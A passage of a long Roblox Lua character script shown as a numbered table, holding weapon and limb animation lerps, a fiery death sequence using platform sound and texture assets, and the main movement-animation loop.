4480 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4481 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4482 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4483 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4484 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4485 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4486 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4487 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4488 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4489 | ||
4490 | end | |
4491 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4492 | for i=0,1,0.1 do | |
4493 | swait() | |
4494 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4495 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4496 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4497 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4498 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4499 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4500 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4501 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
4502 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4503 | end | |
4504 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4505 | for i=0,1,0.1 do | |
4506 | swait() | |
4507 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4508 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4509 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4510 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4511 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4512 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4513 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4514 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4515 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4516 | end | |
4517 | --dmgstop() | |
4518 | Humanoid.WalkSpeed=12 | |
4519 | attack=false | |
4520 | end | |
4521 | ||
4522 | function Die() | |
4523 | attack=true | |
4524 | Footsteps:Stop() | |
4525 | Footsteps2:Stop() | |
4526 | local Fire = it("Sound",Character.Torso) | |
4527 | Fire.SoundId = "rbxassetid://192104941" | |
4528 | Fire.Looped = true | |
4529 | Fire.Pitch = 1 | |
4530 | Fire.Volume = 1 | |
4531 | local Fire2 = it("Sound",Handle2) | |
4532 | Fire2.SoundId = "rbxassetid://192104941" | |
4533 | Fire2.Looped = true | |
4534 | Fire2.Pitch = 1 | |
4535 | Fire2.Volume = 1 | |
4536 | local Fire3 = it("Sound",Handle) | |
4537 | Fire3.SoundId = "rbxassetid://192104941" | |
4538 | Fire3.Looped = true | |
4539 | Fire3.Pitch = 1 | |
4540 | Fire3.Volume = 1 | |
4541 | local Fire4 = it("Sound",handle) | |
4542 | Fire4.SoundId = "rbxassetid://192104941" | |
4543 | Fire4.Looped = true | |
4544 | Fire4.Pitch = 1 | |
4545 | Fire4.Volume = 1 | |
4546 | local fire = Instance.new("ParticleEmitter", Character.Torso) | |
4547 | fire.Lifetime = NumberRange.new(0.5) | |
4548 | fire.Speed = NumberRange.new(1, 3) | |
4549 | fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4550 | fire.Rate = 0 | |
4551 | fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4552 | fire.LightEmission = 0.6 | |
4553 | fire.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4554 | fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4555 | local fire2 = Instance.new("ParticleEmitter", Handle) | |
4556 | fire2.Lifetime = NumberRange.new(0.5) | |
4557 | fire2.Speed = NumberRange.new(1, 3) | |
4558 | fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4559 | fire2.Rate = 0 | |
4560 | fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4561 | fire2.LightEmission = 0.6 | |
4562 | fire2.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4563 | fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4564 | local fire3 = Instance.new("ParticleEmitter", Handle2) | |
4565 | fire3.Lifetime = NumberRange.new(0.5) | |
4566 | fire3.Speed = NumberRange.new(1, 3) | |
4567 | fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) | |
4568 | fire3.Rate = 0 | |
4569 | fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4570 | fire3.LightEmission = 0.6 | |
4571 | fire3.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4572 | fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4573 | local fire4 = Instance.new("ParticleEmitter", handle) | |
4574 | fire4.Lifetime = NumberRange.new(0.5) | |
4575 | fire4.Speed = NumberRange.new(1, 3) | |
4576 | fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) | |
4577 | fire4.Rate = 0 | |
4578 | fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) | |
4579 | fire4.LightEmission = 0.6 | |
4580 | fire4.Texture = "http://www.roblox.com/asset/?id=242911609" | |
4581 | fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) | |
4582 | Humanoid.WalkSpeed = 0 | |
4583 | so("http://www.roblox.com/asset/?id=199149297",Head,1,1) | |
4584 | so("http://www.roblox.com/asset/?id=209527203",Head,1,1) | |
4585 | for i=0,1,0.08 do | |
4586 | swait() | |
4587 | Torso.Velocity=RootPart.CFrame.lookVector*-30 | |
4588 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) | |
4589 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) | |
4590 | handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4591 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4592 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) | |
4593 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) | |
4594 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) | |
4595 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4596 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) | |
4597 | end | |
4598 | for i=0,1,0.005 do | |
4599 | swait() | |
4600 | light.Range=15-10*i | |
4601 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4602 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4603 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4604 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4605 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4606 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4607 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4608 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4609 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4610 | end | |
4611 | light.Range=0 | |
4612 | for i=0,1,0.01 do | |
4613 | swait() | |
4614 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4615 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4616 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4617 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4618 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4619 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4620 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4621 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4622 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4623 | end | |
4624 | so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) | |
4625 | fire.Rate = 1000 | |
4626 | fire2.Rate = 1000 | |
4627 | fire3.Rate = 1000 | |
4628 | fire4.Rate = 1000 | |
4629 | Fire:Play() | |
4630 | Fire2:Play() | |
4631 | Fire3:Play() | |
4632 | Fire4:Play() | |
4633 | for i=0,1,0.005 do | |
4634 | swait() | |
4635 | Character.Head.face.Transparency = 0+1*i | |
4636 | LeftArm.Transparency=0+1*i | |
4637 | RightArm.Transparency=0+1*i | |
4638 | LeftLeg.Transparency=0+1*i | |
4639 | RightLeg.Transparency=0+1*i | |
4640 | Head.Transparency=0+1*i | |
4641 | Torso.Transparency=0+1*i | |
4642 | for _,v in pairs(Character:children()) do | |
4643 | if v:IsA("Hat") then | |
4644 | v.Handle.Transparency = 0+1*i | |
4645 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) | |
4646 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) | |
4647 | handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) | |
4648 | Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) | |
4649 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
4650 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) | |
4651 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) | |
4652 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4653 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4654 | end | |
4655 | end | |
4656 | --dmgstop() | |
4657 | end | |
4658 | Humanoid.Health = 0 | |
4659 | end | |
4660 | ||
4661 | equipanim() | |
4662 | ||
4663 | local sine = 0 | |
4664 | local change = 1 | |
4665 | local val = 0 | |
4666 | ||
4667 | local mananum=0 | |
4668 | while true do | |
4669 | swait() | |
4670 | sine = sine + change | |
4671 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
4672 | local velderp=RootPart.Velocity.y | |
4673 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
4674 | if equipped==true or equipped==false then | |
4675 | if Anim=="Idle" and attack==false then | |
4676 | idle=idle+1 | |
4677 | else | |
4678 | idle=0 | |
4679 | end | |
4680 | if Humanoid.Health <=20 then | |
4681 | if attack == false then | |
4682 | Humanoid.Health = math.huge | |
4683 | Die() | |
4684 | end | |
4685 | end | |
4686 | if idle>=1000 then | |
4687 | if attack==false then | |
4688 | --Sheath() | |
4689 | end | |
4690 | end | |
4691 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
4692 | Anim="Jump" | |
4693 | if attack==false then | |
4694 | Footsteps:Stop() | |
4695 | Footsteps2:Stop() | |
4696 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
4697 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4698 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
4699 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
4700 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4701 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
4702 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4703 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
4704 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
4705 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
4706 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4707 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4708 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4709 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4710 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4711 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4712 | end | |
4713 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
4714 | Anim="Fall" | |
4715 | if attack==false then | |
4716 | Footsteps:Stop() | |
4717 | Footsteps2:Stop() | |
4718 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
4719 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4720 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
4721 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
4722 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4723 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
4724 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
4725 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
4726 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
4727 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
4728 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
4729 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
4730 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4731 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4732 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4733 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4734 | end | |
4735 | elseif torvel<1 and hitfloor~=nil then | |
4736 | Anim="Idle" | |
4737 | change=0.5 | |
4738 | if idle>=1000 then | |
4739 | if attack==false then | |
4740 | Footsteps:Stop() | |
4741 | Footsteps2:Stop() | |
4742 | Humanoid.WalkSpeed=12 | |
4743 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) | |
4744 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1) | |
4745 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4746 | RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5) | |
4747 | LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5) | |
4748 | RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4749 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3) | |
4750 | handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) | |
4751 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4752 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4753 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4754 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4755 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4756 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4757 | end | |
4758 | else | |
4759 | if attack==false then | |
4760 | Footsteps:Stop() | |
4761 | Footsteps2:Stop() | |
4762 | Humanoid.WalkSpeed=12 | |
4763 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) | |
4764 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1) | |
4765 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
4766 | RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5) | |
4767 | LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5) | |
4768 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1) | |
4769 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3) | |
4770 | handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) | |
4771 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) | |
4772 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) | |
4773 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4774 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4775 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4776 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4777 | end | |
4778 | end | |
4779 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
4780 | Anim="Walk" | |
4781 | if attack==false then | |
4782 | change=0.8 | |
4783 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
4784 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
4785 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4786 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4787 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
4788 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
4789 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4790 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4791 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
4792 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
4793 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
4794 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
4795 | RH.C0=clerp(RH.C0,RHC0,.3) | |
4796 | LH.C0=clerp(LH.C0,LHC0,.3) | |
4797 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4798 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4799 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4800 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
